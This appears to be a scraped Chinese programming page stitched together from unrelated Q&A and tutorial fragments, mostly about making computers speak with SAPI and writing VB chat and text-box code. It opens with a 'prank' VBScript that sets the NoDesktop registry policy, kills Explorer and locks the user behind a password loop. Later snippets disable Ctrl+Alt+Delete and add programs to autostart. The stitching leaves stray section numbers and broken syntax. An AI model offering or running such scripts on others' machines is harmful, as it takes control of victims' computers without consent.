电脑说话的编程代码(电脑编程对话框)
求一段电脑整蛊代码
set ws = wscript.createobject("wscript.shell")
if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then
msgbox"OK!"
else
ws.popup"那也没办法!接招吧!",3
ws.popup"等会的解除密码在网盘里,自己下载,祝你愉快!",3
end if
ws.run" "
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")
if a="我真笨啊" then
msgbox"密码正确!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下载,密码错误!请重试 !"
end if
loop
如何用python控制电脑说话?
电脑面前的你,是否也希望能让电脑听命于你? 当你累的时候,只需说一声“我累了”,电脑就会放着优雅的轻音乐来让你放松。 或许你希望你在百忙之中,能让电脑郎读最新的NBA比分赛况….一切都是那么惬意。
在此告诉你,不要灰心,我们真的可以做一个。
做一个语音识别? 我相信很多人到这里会有两个心态,一是好奇,二是避之千里。
其实不然,你可以不用懂太多的编程技能,你甚至也可以不用懂自然语言处理技术,这篇文章虽然实现了语音操控但是绝没有你们想象的那么复杂。 如果仅仅把语音识别作为一个实现了的接口的话,剩下的逻辑就仅仅是IF-ELSE这些简单的元素了。
实现语音操控的原理
语音操控分为 语音识别和语音朗读两部分。
这两部分本来是需要自然语言处理技能相关知识以及一系列极其复杂的算法才能搞定,可是这篇文章将会跳过此处,如果你只是对算法和自然语言学感兴趣的话,就只有请您移步了,下面没有一个字会讲述到这些内容。
早在上世纪90年代的时候,IBM就推出了一款极为强大的语音识别系统-vio voice , 而其后相关产品层出不穷,不断的进化和演变着。 我们这里将会使用SAPI实现语音模块。
什么是SAPI?
SAPI是微软Speech API , 是微软公司推出的语音接口,而细心的人会发现从WINXP开始,系统上就已经有语音识别的功能了,可是用武之地相当之少,他并没有给出一些人性化的自定义方案,仅有的语音操控命令显得相当鸡胁。 那么这篇文章的任务就是利用SAPI进行个性化的语音识别。
准备阶段,你至少需要安装以下的工具:
Python2.7
强烈建诡使用2.7,至今Python2.7拥有Python系列为数最多的工具和应用支持,同时也相对比较稳定。
Win32Com
Python Win32增强工具,可以使Python调用WIN32COM接口,这个工具的出现使得Python变得无比强大
Speech.py
这个是极为精简的封装模块,此处为可选项,当然我不建议重复造轮子,还是下吧,目前只支持Python2.6,但不用灰心,Python2.6和Python2.7的代码是兼容,不会有异常。
安装过程请依至上而下的顺序。
开发阶段
当你安装了上述的相关工具后,你就可以进行开发了:
先进行一个简单的环境调试:
复制代码 代码如下:
whileTrue:
phrase =speech.input()
speech.say("You said %s"%phrase)
ifphrase =="turn off":
break
上述代码是启动语音识别器,同时系统将会重复你所录入的语音,当遇到“turn off”时,就会自动关闭识别系统。
那个让电脑说话的vbs不能运行
我试过了,没有出错。不过你这样是不会说话的,第一,这里的语音只能够阅读英文,汉字是不会读的。 所以你最好修改成:I Love You之类的第二,这个只能够在XP以上版本的系统中才可以使用。第三,如果你运行的时候确实出错的话,可能是SAPI.SpVoice不能够使用,被系统禁用了,或者你的机器为了精简没有这个系统文件。
当你在运行一些基于VBS脚本语言的文件时,系统可能报错。这时候可能是你的VBS脚本服务在注册表中出错了,原因可能是卸载或安装一些代码不规范的程序引起的。这里给出无法找到脚本引擎"vbscript"的解决方法:
1)找到文件: C:\WINDOWS\inf\wsh.inf,右键“安装”;
2)开始→运行行里输入: regsvr32 urlmon.dll shdocvw.dll jscript.dll vbscript.dll /s
什么是WSH?
WSH是Windows Scripting Host(Windows脚本主机)的缩略形式。WSH这个概念最早出现于Windows 98操作系统,是一个基于32 位 Windows 平台、并独立于语言的脚本运行环境。比如:你自己编写了一个脚本文件,如后缀为 .vbs 或 .js 的文件,然后在 Windows 下双击 并执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个程序,就是 Windows Scripting Host,程序执行文件名为 Wscript.exe (若是在DOS命令提示符下,则为 Cscript.exe)。
想知道自己的机器上有没有WSH吗?查看一下你的机器里有没有“Wscipt.exe”或者“Cscript.exe”这两个文件就可以了。如果找到,恭 喜你!你已经安装了WSH。否则,自己手动安装吧:
在Windows 98环境下,WSH是作为操作系统的一个组件自动安装的,如果不慎丢失了这个组件,可以从依次打开“控制面板--添加/删除程 序--〉Windows安装程序--〉附件”,然后将“Windows Scripting Host”前的划上“√”,再确定即可完成WSH组件的安装。
VB中如何实现人机语音聊天
首先你需要写大概1000000000000000000个If语句,只要if语句覆盖了所有人可能说出来的话就可以了,比如:
If text1.text = "现在多少点了" then
label1.caption="现在是北京时间:" time
else
if text1.text="现在几点了"then
label1.caption="现在是:" time
else
......
end if
end if
当然,这个方法是不可行的。
想做一和电脑聊天的软件当然可能,但是想让电脑自己组织语言,这100%不可能(至少对编程来说,因为现在还没有研制出人工智能)。所有软件或游戏含有与电脑沟通的语句其实都是最初安排进去的,都是设定好的,不同的只是别人不是像这样打1000000000000个IF语句,而是有点技术含量(一般都是联网查询这句话的意思,至于联网的服务器…完全就是if数据库了,真的全if,就像上面一样),然后在本地批对相应的回答……做与电脑聊天的软件……不大可能。
还有一点,若想让电脑说出来,也就是你说的重点:语音聊天,让电脑说出文本简单很多,只需要下面的代码:
示例代码(窗体中有一个text文本框和一个按钮,单机按钮后说出文本框内容)
Private?Sub?Command1_Click()
CreateObject("SAPI.SpVoice").Speak?Text1.Text
End?Sub
还有,至于输出语言,XP好像只能输入英文和中文。不能英文和中文同时输入,win7设置一下好像可以。(详见控制面板→语音)
VB编写的局域网聊天工具源代码
用VB做聊天程序的方法
---- 所谓"聊天"是指两个程序能够发送数据给对方。这个程序涉及到数据通讯的知识,仿佛很复杂,不过,由于VB给我们提供了一个Winsock控件,问题就变得很简单了。
---- 先编写"聊天(主机)"程序。在窗体里添加Winsock控件,并设置其Protocol属性为1-SckUDPProtocol,其他属性为缺省值。接着添加两个标签和两个文本框,设置两个标签的标题属性分别为"接收窗"和"发送窗";两个文本框的标题属性为空。最后编写代码:
---- 1."聊天(主机)"
Private Sub Form-Load()
′设置网络地址
Winsock1.LocalPort=1024
Winsock1.RemoteHost="202.96.6.1"
Winsock1.RemotePort=1999
End Sub
Private Sub Text1-Change()
′发送用户输入的内容
Winsock1.SendData Text1.Text
End Sub
Private Sub Winsock1-DataArrival
(Byval bytesTotal As Long)
Dim rec As String
′接收对方数据并在文本框内显示
Winsock1.GetData rec, vb String
Text2.Text=rec
End Sub
---- 2."聊天(副机)"
Private Sub Form_Load()
′设置网络地址
Winsock1.LocalPort=1999
Winsock1.RemoteHost="202.96.6.1"
Winsock1.RemotePort=1024
---- 其他部分程序与(主机)相同。最后将两个程序存盘,并编译成执行(.Exe)文件。现在就可以使用这个程序进行对话了。
---- 七.文本框中文本的某一特定字符或字符串同时高亮显示的方法
---- 由于普通TextBox控件不支持不连续字符串的同时高亮显示,所以我们选择RichTextBox控件。单击工程(Project)选单项,在弹出的下拉选单中单击组件(Components)选单项,从弹出的对话框中选择Microsoft Rich Textbox Control 5.0复选框,确定加载RichTextBox控件。
---- 新建(New)一个工程,在窗体(Form)上添加一个RichTextBox控件和两个Command(按钮)控件,都采用系统默认的Name属性值;设置RichTextBox的Text属性值为空,Command1和Command2的Caption属性值分别设为"输入文本"和"选择字符串"。最后,添加如下VB代码:
Private Sub Command1-Click()
Dim str As String
Dim Text As String
str=〃输入文本〃
Text=InputBox(str)
RichTextBox1.Text=Text
End Sub
Private Sub Command2-Click()
Dim str As String
Dim Text As String
Dim Position As Integer
Dim Lenth As Integer
str=〃输入要高亮显示的字符串〃
Text=InputBox(str)
If Text 〈〉 〃〃 Then
Position=InStr(RichTextBox1.Text, Text)-1
Lenth=Len(Text)
RichTextBox1.SelStart=Position
RichTextBox1.SelLength=Lenth
RichTextBox1.SelColor=RGB(255,0,0)
Do While InStr(Position+Lenth+
1, RichTextBox1.Text, Text) 〈〉 0
Position=InStr(Position+Lenth+
1, RichTextBox1.Text, Text)-1
RichTextBox1.SelStart=Position
RichTextBox1.SelLength=Lenth
RichTextBox1.SelColor=RGB(255,0,0)
Loop
End If
End Sub
---- 按F5执行程序,单击"输入文本"按钮,在弹出的对话框中输入一些文本,确定后,刚刚输入的文本将显示在RichTextBox中;再单击"选择字符串"按钮,在弹出的对话框中输入你希望高亮显示的字符串,确定后,RichTextBox中相应的字符串将以红色高亮显示。
---- 八.编程实现Windows 95/98操作系统热启动的方法
---- 要利用程序实现系统的重新启动,可以在你的程序中调用API函数来实现。建一个子函数:(以VB为例)
Declare Function SystemParametersInfo Lib 〃
user32〃 Alias -
〃SystemParametersInfo〃 (ByVal uAction As Long,
ByVal uParam As Long,
ByVal lpvParam As Any, ByVal
fuWinIni As Long) As Long
Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X=SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub
Call DisableCtrlAltDelete(true) ′禁止热启
Call DisableCtrlAltDelete(false) ′允许热启
---- 九.在Windows 95/ 98启动后自动启动程序的方法
---- 我们都知道在Windows 95/98的"开始"→"程序"选单下有一"启动"选单项,当每次启动Windows 95或Windows 98时,系统都会自动启动放在"启动"选单栏里的可执行程序。
---- 但目前有好多软件,像解霸五、ICQ,以及大部分实时侦测病毒的软件等等,安装后,并没有放在"启动"选单里,也能在启动操作系统时自动启动。怎么实现的呢?
---- 其实只要知道Windows注册表的一些知识,这个问题就不能称之为问题了。用鼠标单击"开始",打开开始选单,再单击"运行",出现一对话框,然后输入"regedit",确定后,会打开系统注册表编辑器,找到HKEY-LOCAL-MACHINE? SOFTWARE?Microsoft?Windows?CurrentVersion?Run,加入你的程序的入口,就可以了。如果不知道怎么加,就参考一下已经存在的键值。
---- 十. 如何把数据文件输出到Text控件中?如果数据量比较大,窗体满屏也不够大,怎么解决?
---- 有一个比较简单的方法,就是把数据放到一个文本框(Text)里,并在其中加上水平和垂直滚动条。具体实现步骤为:先在窗体(Form)里加入一个文本框,采用默认名Text1;然后,设置文本框Text1的属性:Text属性设置为空,MultiLine属性设置为True,ScrollBars属性设置为3-Both;接着添加如下VB代码:
Private Sub Form-Load()
Dim Handle As Integer
Dim FileName As String
On Error GoTo ErrExit
begin:
′输入要显示的数据文件的名称
FileName=InputBox$(〃Input Filename〃,
〃Open File〃)
On Error GoTo FileErr
Handle=FreeFile
Open FileName For Input As #Handle
′把数据文件中的数据输出到文本框中
Text1.Text=Input$(LOF(Handle), Handle)
Close #Handle
Exit Sub
FileErr:
Dim ErrNum As Integer
If Err.Number=53 Then
ErrNum=MsgBox(〃File not exist〃,
vbOKCancel, 〃Error Information〃)
If ErrNum=1 Then
GoTo begin
Else
Exit Sub
End If
End If
MsgBox Err.Description, , 〃file open failed〃
ErrExit:
Exit Sub
End Sub
′使文本框充满整个窗体
Private Sub Form-Resize()
Text1.Left=0
Text1.Top=0
Text1.Width=Form1.Width-100
Text1.Height=Form1.Height-400
End Sub
---- 通过这样的处理,不仅能解决问题,而且用户还可以在文本框中对数据进行编辑。
---- 十一.关联文件列表框、目录列表框和驱动器列表框的方法
---- 想做一个对话窗体,包含驱动器列表框、目录列表框和文件列表框,并能实现三者的同步操作,怎么做?这都是我们在实际应用中经常会遇到的问题,在VB中解决这个问题非常简单,可以通过Path属性的改变引发Change事件来实现。例如:
Sub Dir1-Change()
File1.Path=Dir1.Path
End Sub
---- 该事件过程使窗体上的目录列表框Dir1和文件列表框File1产生同步。因为目录列表框Path属性的改变将产生Change事件,所以在Dir1-Change事件过程中,把Dir1.Path赋给File1.Path,就可以产生同步效果。类似地,增加下面的事件过程,就可以使三种列表框同步操作:
Sub Drive1-Change()
Dir1.Path=Drive1.Drive
End Sub
---- 该过程使驱动器列表框和目录列表框同步,前面的过程使目录列表框和文件列表框同步,从而使三种列表框同步,问题即可解决。